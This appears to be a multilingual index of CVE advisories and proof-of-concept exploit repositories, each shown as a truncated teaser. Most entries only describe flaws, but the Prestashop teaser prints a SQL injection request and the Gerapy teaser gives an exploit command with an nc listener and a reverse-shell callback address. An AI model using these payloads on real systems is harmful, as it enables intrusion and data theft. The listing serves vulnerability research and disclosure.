CVE-2026-34975

CVE-2026-34975 — CRLF Email Header Injection in Plunk via raw MIME construction Severity : High CVSS 8.5 CWE : CWE-93 — Improper Neutralization of CRLF Sequences 'CRLF Injection' Affected : useplunk/plunk = 0.7.1 Fixed in : 0.8.0 Advisory : GHSA-2mvm-rg5v-7hfq NVD :...

cve-2024-21683-rce

cve-2024-21683-rce CVE-2024-21683 est une vulnérabilité critique d'exécution de code à distance RCE affectant Confluence Server et Data Center d'Atlassian. Cette vulnérabilité a un score CVSS de 8,3, la classant dans la catégorie de gravité élevée. Un attaquant peut exploiter cette vulnérabilité...

CVE-2026-30480

CVE-2026-30480 : Inclusion locale de fichier LFI dans LibreNMS via traversée de chemin Vue d'ensemble Une vulnérabilité d'inclusion locale de fichier LFI existe dans le module NFSen de LibreNMS. Un attaquant authentifié peut exploiter des séquences de traversée de chemin pour inclure des fichiers...

CVE-2026-23980-Exploit

CVE-2026-23980 - Injection SQL authentifiée dans Apache Superset / \ | | | | | || | \\ sqlExpression va directement dans la requête. aucune paramétrisation. aucun espoir. Apache Superset ChartDataRestApi.data - QueryContext.getdfpayload - SqlaTable.getsqlaquery - colonne adhoc sqlExpression /...

CVE-2021-43789

CVE-2021-43789 Prestashop = 1.7.5.0 1.7.8.2 - Injection SQL POC GET /prestashop1.7.8.1/admin860ykaqhn/index.php/sell/orders/?token=tPhFxoTyY8HLoCWbfVDKdY8Io1BVL3ZVebYNljeM9M&orderorderBy=idorder&ordersortOrder= AND SELECT 2331 FROMSELECT COUNT,CONCAT0,MIDIFNULLCASTCURRENTUSER AS...

CVE-2026-25890-FileBrowser-Access-Control-Bypass

CVE-2026-25890 - Contournement du contrôle d'accès FileBrowser Les utilisateurs non authentifiés ne peuvent pas exploiter cette faille — nécessite des identifiants valides à faibles privilèges restreints pour le chemin cible. Contournement de l'autorisation basée sur le chemin dans FileBrowser ≤...

CVE-2026-25512-PoC-Group-Office-Authenticated-RCE

PoC CVE-2026-25512 – RCE authentifié dans Group-Office via le gestionnaire TNEF Auteur : Mohammed Idrees Banyamer Pseudo : @banyamersecurity GitHub : mbanyamer Date : 04 février 2026 Titre de l'exploit Group-Office Intermesh 26.0.4 – RCE authentifié via le gestionnaire de pièces jointes TNEF CVE...

CVE-2026-24854-ChurchCRM-6.7.2-Authenticated-Numeric-SQL-Injection

CVE-2026-24854 – Preuve de concept PoC d'injection SQL numérique authentifiée manipulation logique dans ChurchCRM Auteur : Mohammed Idrees Banyamer Pays : Jordanie Pseudo : @banyamersecurity GitHub : https://github.com/mbanyamer Vue d'ensemble Ce dépôt contient une preuve de concept PoC démontran...

CVE-2021-45897

CVE-2021-45897 PoC pour CVE-2021-45897 alias SCRMBT-180 - RCE via les modèles d'e-mails authentifié uniquement dans SuiteCRM = 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2021-45897 Exemple d'utilisation : .venv ➜ CVE-2021-45897 git:main ✗...

cve-2021-32849

cve-2021-32849 cve-2021-32849 exécution de commandes gerapy Utilisation Commencez par ouvrir un nc pour écouter, puis utilisez l'exploit pour attaquer python3 CVE-2021-32849.py -u http://192.168.1.69:8000 -U admin -P admin@123 -r 10.10.16.34 -p 8888 -c id...

CVE-2021-43857

CVE-2021-43857 CVE-2021-43857 exécution de commande Gerapy Avertissement Ce script est fourni à des fins d'apprentissage uniquement, veuillez ne pas attaquer malveillamment les sites web d'autrui. En cas de violation de la loi ou de la réglementation, toutes les conséquences sont à la charge de...

CVE-2026-27470

⚠️ YASAL UYARI / LEGAL DISCLAIMER Bu araç yalnızca eğitim amaçlı ve yazılı izin alınmış güvenlik testleri için geliştirilmiştir. Sahip olmadığınız veya test etmek için açık yazılı izniniz olmayan sistemlere karşı kullanılması yasadışıdır. Yetkisiz erişim, birçok ülkede ağır cezai yaptırımlara...

CVE-2026-39842

CVE-2026-39842 : Injection d'expression dans OpenRemote — RCE dans le moteur de règles TL;DR Vulnérabilité critique d'exécution de code à distance dans le moteur de règles d'OpenRemote permettant aux utilisateurs authentifiés disposant du rôle write:rules d'exécuter du code arbitraire sur le...

CVE-2026-35517

CVE-2026-35517 - Exécution de code à distance dans Pi-hole FTLDNS via injection de saut de ligne TL;DR Une vulnérabilité d'exécution de code à distance dans le moteur FTLDNS de Pi-hole versions 6.0 à 6.5 permet à un attaquant authentifié d'injecter des directives de configuration dnsmasq...

DEBIAN-CVE-2026-93858

In OpenStack Mistral through 23.0.0, the std.sshproxied action passes a caller-supplied proxycommand value directly to paramiko.ProxyCommand before any SSH connection to a gateway or target host is attempted. An authenticated project member can use the standard action-execution API to submit an...

CVE-2026-93858

In OpenStack Mistral through 23.0.0, the std.sshproxied action passes a caller-supplied proxycommand value directly to paramiko.ProxyCommand before any SSH connection to a gateway or target host is attempted. An authenticated project member can use the standard action-execution API to submit an...

CVE-2026-107303

JHipster is a development platform to quickly generate, develop, and deploy modern web applications and microservice architectures. Prior to generator-jhipster 9.4.0 and react-jhipster 1.1.0, generated applications can persist attacker-controlled Blob data and companion ContentType values, return...

CVE-2026-107334

Malcolm's nginx Lua role-based access control RBAC layer decides whether an authenticated user may reach a role-restricted path e.g. /htadmin, /auth, /adminlogin, /arkime/api/esadmin, NetBox, upload endpoints by pattern-matching the raw, percent-encoded request URI. Nginx itself, however, selects...

CVE-2026-30695

CVE-2026-30695 - XSS dans Zucchetti Axess Résumé Une vulnérabilité de type Cross-Site Scripting XSS existe dans l'interface de configuration web des dispositifs de contrôle d'accès Zucchetti Axess XA4, X3/X3BIO, X4, X7, XIO, i-door, i-door+. La vulnérabilité est causée par une désinfection...

CVE-2026-1457

CVE-2026-1457 : Exécution de code à distance authentifiée sur TP-Link VIGI C385 Présentation CVE-2026-1457 est une vulnérabilité de dépassement de tampon authentifiée dans l'API web du TP-Link VIGI C385 V1. Cette vulnérabilité permet à des attaquants authentifiés d'exécuter du code à distance RCE...